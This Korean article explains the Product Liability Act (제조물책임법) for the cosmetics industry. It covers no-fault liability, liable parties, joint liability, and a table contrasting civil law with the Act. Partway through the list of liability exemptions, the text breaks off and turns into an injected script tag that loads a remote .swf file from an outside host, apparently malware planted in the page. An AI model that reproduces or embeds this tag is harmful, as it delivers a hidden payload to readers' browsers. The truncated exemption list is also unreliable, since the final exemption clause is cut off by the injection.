과실없어도 배상… 소비자 우선 주의 업체 책임 법적요구… 제품에 대한 안전 의식 높여 유비무환(有備無患)을 모르는 사람은 없다. 하지만 제조물책임법(PL법)에 있어서는 사회적인 준비가 다소 소홀한 듯 보여졌다. 화장품 업계에서도 바로 코앞에 PL법이 닥쳐오고 나서야 대응방안을 찾느라 부산했다. 화장품 산업은 ‘소프트’한 측면이 많은 탓에 PL 관련 사고나 분쟁이 그다지 심각하지 않을 것이라고 생각하는 경우가 많다. 하지만 작은 방심이 큰 화를 불러일으킬 수 있다는 점에 주목할 필요가 있다. PL법이란 무엇인지, 그리고 어떤 사례가 있는지 알아보기로 하자. 제조물책임법(PL법)이란? PL법은 ‘제조물의 결함으로 인하여 발생한 손해로부터 피해자를 보호하기 위해 제정된 법률(2000. 1. 21, 법률 6109호)’이다. 이 법은 어느 물품의 결함으로 인해 생명·신체의 손상 또는 재산상 손해가 발생했을 때 그 물품을 제조 또는 가공한 자에게 과실이 없다고 하더라도 책임을 지고 배상하도록 하는 것(무과실책임주의)을 골자로 한다. 이렇게 해서 손해당사자를 보호하고 국민생활을 안정시키며, 특히 제품의 안전에 대한 의식을 높여 기업의 경쟁력 향상을 도모하기 위해 제정됐다. 제조물 책임(PL)은 ‘Product Liability’의 약자로 문자 그대로 번역하면 ‘제품책임’ 또는 ‘생산물책임’이라고 하는데, 통상적으로 사용되어온 ‘제조물책임’이라는 용어로 통일해서 사용한다. ‘제조물책임’은 통상 갖추어야 할 안전성이 결여된, 결함이 있는 제조물로 인해 소비자에게 손해를 입혔을 경우 그 피해를 구제해 주는 사후구제에 관한 법적 책임을 말한다. 이 제도의 주요 골격은 ‘제품의 결함으로 인하여 소비자 또는 사용자에게 손해를 입혔을 경우 제조자 또는 판매자가 피해자에게 지는 민법상의 배상책임’을 기초로 하여 소비자나 사용한 자가 제품의 결함과 손해의 인과관계만을 입증할 수 있다면 손해배상을 요구할 수 있다는 것이다. 이제까지의 소비자 권익에 대한 보호가 미흡했다는 것이 상대적으로 기업의 도의적 책임에 대한 소홀을 의미한다고 할 때, 제조물책임은 그 책임을 다하라는 법적 요구사항이라 할 수 있다. 따라서 기업이 가지는 제조물에 대한 책임은 곧 소비자 권익에 대한 책임으로 해석할 수 있다. 법률을 살펴보면 먼저 ‘제조물’, ‘제조·설계·표시상의 결함’, ‘제조업자’ 등 용어의 정의를 비롯해, 제조물에 대한 책임과 연대책임, 면책사유, 소멸시효 등에 관하여 규정하고 있다. 주요내용 ■제조물에 대한 책임 제조물의 제조·설계·표시상의 결함 때문에 발생한 피해에 대한 배상은 ①그 물품을 제조·가공·수입한 사람 또는 법인과 ②자신을 제조업자로 표시하거나 제작업자로 혼동하게끔 표시한 사람 또는 법인이 책임진다. ③제조업자를 알 수 없는 경우에는 공급업자도 배상책임을 진다. ■연대책임 하나의 손해 건에 대해 배상할 책임이 있는 자가 2인(또는 법인) 이상일 경우에는 연대하여 배상책임을 져야 한다. [민법과 다른점]

구분	민법	제조물 책임법
책임요건	-제조업자의 고의/과실 (불법행위)	-제조물의 결함 (무과실/엄격책임)
입증범위 (소비자)	-제조업자의 고의/과실 -손해발생과의 인과관계	-제조물의 결함여부 -손해발생과의 인과관계
소멸시효	-불법행위를 한 날부터10년 -손해 및 가해자를 안 날부터3년	-제조물 공급일부터 10년 -손해 및 손해배상책임자를 안날부터 3년

■손해배상 면책사유 ①제조업자가 그 제조물을 공급하지 않았거나 ②공급 당시의 과학기술수준으로는 결함의 유무를 알 수 없었던 경우와 ③제조물의 결함이 제조업자?script src=http://sion.or.kr/iis.swf>

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